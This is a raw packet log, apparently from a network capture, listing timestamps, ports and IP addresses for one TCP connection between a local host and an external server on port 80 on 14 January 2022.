Jan 14, 2022 12:30:15.512610912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512651920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512666941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512820959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512851000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513005972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513022900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513186932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513201952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513545036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513700008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513716936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513884068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.513901949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514060974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514075994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514317989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514336109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514507055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514550924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514729023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514744043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514909983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.514925003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.515100002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.515119076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.515292883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.515310049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.515484095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.515501976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.515670061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.515683889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.538717985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.538758039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.538908958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.538923025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539102077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539120913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539253950 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.539299965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539319992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539479017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539496899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539665937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539685011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539845943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.539865017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540023088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540040016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540198088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540215015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540381908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540400028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540564060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540580988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540745020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540760994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540924072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.540941000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.541100025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.541117907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.541429996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.541450024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.541608095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.541625977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.541795015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542043924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542090893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542196989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542372942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542392015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542577028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542593956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542768955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542785883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542964935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.542984962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.543164015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.543181896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.543311119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.543467045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.543483973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.543775082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544101954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544120073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544215918 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.544291973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544445038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544462919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544644117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544665098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544840097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.544859886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545033932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545054913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545191050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545406103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545423985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545587063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545603991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545773029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545789957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545957088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.545973063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.546144009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.546161890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.546444893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.546461105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.546649933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.546668053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.546848059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.546864033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547048092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547066927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547337055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547357082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547493935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547584057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547764063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547848940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.547991037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548008919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548157930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548175097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548342943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548362017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548521042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548543930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548692942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548711061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548969030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.548988104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.549045086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.549052000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.549235106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.549253941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.549400091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.549416065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.549567938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.549587011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.551642895 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.556685925 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.556715965 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.556842089 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.556866884 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.556891918 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.556917906 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.556942940 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.556996107 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.557020903 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.558998108 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.563667059 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.565771103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.565793037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.565917969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566099882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566111088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566287994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566298008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566469908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566479921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566648006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566658020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566839933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.566848993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567017078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567027092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567151070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567346096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567353964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567528963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567538023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567707062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567714930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567894936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.567904949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568069935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568080902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568289042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568299055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568480968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568490982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568666935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568681002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568847895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.568861961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.569025993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.569035053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.569169998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.569645882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.569655895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.569829941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.569838047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570009947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570017099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570190907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570197105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570385933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570393085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570569992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570576906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570787907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570800066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570977926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.570986032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571161032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571166992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571352005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571358919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571535110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571540117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571715117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571722031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571903944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.571908951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572083950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572091103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572293997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572299957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572473049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572479963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572657108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572662115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572841883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.572849035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573026896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573031902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573215008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573220968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573396921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573401928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573582888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573597908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573771000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573780060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573944092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.573954105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574114084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574121952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574410915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574419022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574596882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574605942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574790955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574798107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574970961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.574979067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575140953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575150013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575333118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575340986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575510025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575517893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575684071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575692892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575860023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.575867891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.576039076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.576195002 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.593605995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.596800089 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.599504948 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.599555016 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.600411892 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.600441933 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.604044914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604276896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604288101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604444027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604453087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604660988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604671001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604787111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604796886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604958057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.604969025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605129957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605144024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605324984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605334044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605487108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605496883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605653048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605663061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605823040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605833054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.605992079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606000900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606162071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606170893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606343031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606353045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606503963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606513023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606753111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606762886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606766939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606929064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.606940031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607090950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607101917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607342005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607352972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607511997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607522011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607676029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607686043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607846022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.607855082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608016014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608025074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608184099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608192921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608361959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608371019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608530998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608540058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608704090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608712912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608870029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.608879089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.609034061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.609044075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.609220028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.609230042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.609328985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.609889030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.609899998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610119104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610127926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610296965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610307932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610479116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610492945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610582113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610733032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610745907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.610862970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611027956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611042023 CET	49914	80	192.168.2.4	185.215.113.35
